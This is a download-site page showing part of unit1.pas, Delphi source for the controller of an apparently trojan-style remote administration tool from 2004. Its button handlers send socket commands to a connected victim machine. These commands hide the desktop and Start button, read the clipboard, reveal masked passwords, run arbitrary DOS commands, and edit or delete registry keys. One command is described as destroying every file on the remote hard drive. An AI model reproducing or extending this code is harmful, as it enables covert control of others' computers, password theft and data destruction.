⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 unit1.pas

📁 １、远程文件访问。包括文件下载、上传（限文件8M以内）、文件（夹）更名、文件（夹）删除、文件运行、文件查找、创建文件夹、清空文件夹、文件属性查看。 　　２、远程关机、启动、注销、修改组织名、用户名。
💻 PAS
📖 第 1 页 / 共 5 页
字号:
🔍
12345 
procedure TForm1.CKB2Click(Sender: TObject);
begin//更改对方当前窗体标题名
 if CKED2.Text='' then
  begin
   application.MessageBox ('请输入更改的标题名！','提示');
   exit;
  end;
 try
   ss.Socket.Connections[fullip].SendText('502'+CKED2.Text);
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.CKB3Click(Sender: TObject);
begin//关IE窗口
 try
   ss.Socket.Connections[fullip].SendText('503');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.CKB4Click(Sender: TObject);
begin//隐藏状态栏
 try
   ss.Socket.Connections[fullip].SendText('504');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end; 
end;

procedure TForm1.CKB5Click(Sender: TObject);
begin//显示状态栏
 try
   ss.Socket.Connections[fullip].SendText('505');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.CKB6Click(Sender: TObject);
begin//查看剪贴板
 try
   ss.Socket.Connections[fullip].SendText('506');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.CKB7Click(Sender: TObject);
begin//清空剪贴板
 try
   ss.Socket.Connections[fullip].SendText('507');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.CKB8Click(Sender: TObject);
begin//隐藏对方桌面
 try
   ss.Socket.Connections[fullip].SendText('508');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.CKB9Click(Sender: TObject);
begin//显示对方桌面
 try
   ss.Socket.Connections[fullip].SendText('509');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.CKB10Click(Sender: TObject);
begin//隐藏对方开始按钮
 try
   ss.Socket.Connections[fullip].SendText('510');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.CKB11Click(Sender: TObject);
begin//显示开始按钮
 try
   ss.Socket.Connections[fullip].SendText('511');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.BitBtn8Click(Sender: TObject);
begin//显示屏保
 try
   ss.Socket.Connections[fullip].SendText('520');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.BitBtn9Click(Sender: TObject);
begin//密码现形
 try
   ss.Socket.Connections[fullip].SendText('530');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.BitBtn10Click(Sender: TObject);
begin//恢复密码现形
 try
   ss.Socket.Connections[fullip].SendText('531');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.DOSB1Click(Sender: TObject);
var fs:string;
begin//执行命令
 if DOSCB1.Text ='' then
  begin
   application.MessageBox ('请输入更改的标题名！','提示');
   exit;
  end;
 try
   if fs1.Checked =true then fs:='1';
   if fs2.Checked =true then fs:='2';
   if fs3.Checked =true then fs:='3';
   if fs4.Checked =true then fs:='4';
   ss.Socket.Connections[fullip].SendText('601'+fs+DOSCB1.Text+'{'+DOSCB2.Text);
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.DOSB2Click(Sender: TObject);
var fs:string;
begin//执行DOS命令
 if DOSCB3.Text ='' then
  begin
   application.MessageBox ('请输入更改的标题名！','提示');
   exit;
  end;
 try
   if dfs1.Checked =true then fs:='1';
   if dfs2.Checked =true then fs:='2';
   if dfs3.Checked =true then fs:='3';
   if dfs4.Checked =true then fs:='4';
   ss.Socket.Connections[fullip].SendText('602'+fs+DOSCB3.Text);
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ss.Active :=FALSE;
  SS.Port :=STRTOINT(PROS.Text);
  SS.Active :=TRUE;
  mainpc.ActivePage :=ts1;
  Myst := TMemorystream.Create; {建立内存流对象}
  MySize := 0; {初始化}
end;

procedure TForm1.PROSChange(Sender: TObject);
begin//更改通讯的端口
  mainpc.Enabled :=false;
  mainpc.ActivePage :=ts1;
  cle();
  ipvi.Clear;
  ss.Active :=FALSE;
  SS.Port :=STRTOINT(PROS.Text);
  SS.Active :=TRUE;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin//退出程序
  Myst.Free; {释放内存流对象}
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin//关于
   application.MessageBox('                  程序编写：梁宏'+chr(13)+'                  2004年11月12日'+chr(13)+'请慎重使用此程序,造成后果自负责任!!!','关于' );
end;

procedure TForm1.N3Click(Sender: TObject);
begin
 if  application.MessageBox('这个操作会损坏对方硬盘中的全部文件!'+chr(13)+chr(13)+'          你确定要这样吗?','警告',mb_yesno)=idyes then
 try
   ss.Socket.Connections[fullip].SendText('140'+copy(FCB.Text,1,2));
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.syl1DblClick(Sender: TObject);
begin//刷新用户名
 try
   ss.Socket.Connections[fullip].SendText('260');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.syl2DblClick(Sender: TObject);
begin//对方操作系统名
 try
   ss.Socket.Connections[fullip].SendText('261');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.syl3DblClick(Sender: TObject);
begin//对方内存
 try
   ss.Socket.Connections[fullip].SendText('262');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.syl4DblClick(Sender: TObject);
begin//组织名
 try
   ss.Socket.Connections[fullip].SendText('263');
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.syed1KeyPress(Sender: TObject; var Key: Char);
begin//更改用户名
 if syed1.Text ='' then exit;

 if key=chr(13) then
 begin
  try
   ss.Socket.Connections[fullip].SendText('270'+syed1.Text);
  except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
  end;
 end;
end;

procedure TForm1.syed4KeyPress(Sender: TObject; var Key: Char);
begin//更改组织
 if syed4.Text ='' then exit;

 if key=chr(13) then
 begin
  try
   ss.Socket.Connections[fullip].SendText('271'+syed4.Text);
  except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
  end;
 end;
end;

procedure TForm1.FTVMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var   ATM: TTreeNode;
      STP: string;
begin
  FTV.ReadOnly :=true;
  changeselectnode(FTV,x,y,button); //右键选择
  STP := '';
  ATM := FTV.Selected;
  while Assigned(ATM) do
  begin
    STP := ATM.Text+'\'+STP;
    ATM := ATM.Parent;
  end;
  SetLength(STP,Length(STP)-1);
  sb.Panels.Items[0].Text :=STP;
end;

procedure TForm1.REGTVMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin//注册表主键选择
  changeselectnode(REGTV,x,y,button); //右键选择
  REGTV.ReadOnly :=true;
  if REGTV.Selected.Text ='我的电脑' then
   begin
    REGLV.Clear ;
    exit;
   end;
  REGTV.Selected.Expand(True);
  ss.Socket.Connections[fullip].SendText('301'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9) );
end;

procedure TForm1.REGTVKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var st:pchar;
    ren,pt,pa:string;
begin
 if key=13 then //按下回车键展开子项
   ss.Socket.Connections[fullip].SendText('301'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9) );

 if key=46 then//删除主键
  begin
   if (copy(REGTV.Selected.Text,1,5)='HKEY_') or (REGTV.Selected.Text='我的电脑') then
    begin
     application.MessageBox('该键主能删除!','警告');
     exit;
    end;
    st:=pchar('你真的要删除：'+'“ '+REGTV.Selected.Text+' ”'+'吗？' );
   if application.MessageBox(st,'警告：该操作将不能恢复！',mb_yesno)=idyes then
    begin
     REGTV.Selected.Delete ;
     pt:=sb.Panels.Items[0].Text;
     ss.Socket.Connections[fullip].SendText('304'+copy(pt,10,length(pt)-9));
     i:=0;
     while  pa<>'\' do
      begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
      end;
      sb.Panels.Items[0].Text:=copy(pt,1,length(pt)-i);
    end;
  end;
 if key=113 then
  begin  //更名
  if REGTV.Selected.Level <2 then
   begin
     application.MessageBox('该键不能更名！','警告');
     exit;
   end;
   ren :=inputbox('请输入更改后的名字','键名更改',REGTV.Selected.Text);
   if ren='' then
    begin
     application.MessageBox('你未输入键名！','注意');
     exit;
    end;
    i:=0;
    pt:=sb.Panels.Items[0].Text;
    while  pa<>'\' do
     begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
     end;
    ss.Socket.Connections[fullip].SendText('303'+copy(pt,10,length(pt)-10)+'*'+ren);
    sb.Panels.Items[0].Text:=copy(pt,1,length(pt)-i)+ren;
    REGTV.Selected.Text:=ren;
  end;
end;

procedure TForm1.TS3Show(Sender: TObject);
begin
 regt1.Enabled :=true;
 filt1.Enabled :=false;
end;

procedure TForm1.regt1Timer(Sender: TObject);
var ATM: TTreeNode;
    STP: string;
begin //按上下键移动时
  STP := '';
  ATM := REGTV.Selected;
  while Assigned(ATM) do
  begin
    STP := ATM.Text+'\'+STP;
    ATM := ATM.Parent;
  end;
  sb.Panels.Items[0].Text :=STP;
end;

procedure TForm1.REGLVMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var  anode:Tlistitem;
begin //注册表键值选择
   REGLV.ReadOnly :=true;
   anode:=REGLV.GetItemAt (x,y);
   if anode<>nil then anode.Selected :=true;
end;

procedure TForm1.MenuItem4Click(Sender: TObject);
VAR ren,pt,pa:string;
begin  //更名
  if REGTV.Selected.Level <2 then
   begin
     application.MessageBox('该键不能更名！','警告');
     exit;
   end;
   ren :=inputbox('请输入更改后的名字','键名更改',REGTV.Selected.Text);
   if ren='' then
    begin
     application.MessageBox('你未输入键名！','注意');
     exit;
    end;
    i:=0;
    pt:=sb.Panels.Items[0].Text;
    while  pa<>'\' do
     begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
     end;
    ss.Socket.Connections[fullip].SendText('303'+copy(pt,10,length(pt)-10)+'*'+ren);
    sb.Panels.Items[0].Text:=copy(pt,1,length(pt)-i)+ren;
    REGTV.Selected.Text:=ren;
end;

procedure TForm1.MenuItem3Click(Sender: TObject);
var  lem: TListItem;
  TD, TN:TTreeNode;
begin//新建主键
 if (REGTV.Selected.Text='HKEY_LOCAL_MACHINE') or (REGTV.Selected.Text='HKEY_USERS')
   or (REGTV.Selected.Text ='SessionInformation') or (REGTV.Selected.Text='Volatile Environment') then
  begin
   application.MessageBox('该主键下不能新建子键!','警告');
   exit;
  end;

 if REGTV.Selected.Level>0 then
  begin
   number2();
   TN:=REGTV.Selected;
   TD:=REGTV.Items.AddChild(TN,'新项 #'+inttostr(renum));
   TD.ImageIndex:=2;
   TD.SelectedIndex:=3;
   REGTV.Selected.Item[REGTV.Selected.Count-1].Selected :=true;
   REGTV.Selected.Expand(True);
   ss.Socket.Connections[fullip].SendText('302'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+'新项 #'+inttostr(renum) );
   sb.Panels.Items[0].Text :=sb.Panels.Items[0].Text +'\新项 #'+inttostr(renum);
  end
 else
  application.MessageBox('不能建立主键！','提示');
end;

procedure TForm1.MenuItem6Click(Sender: TObject);
var st:pchar;
    pt,pa:string;
begin//删除主键
12345

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -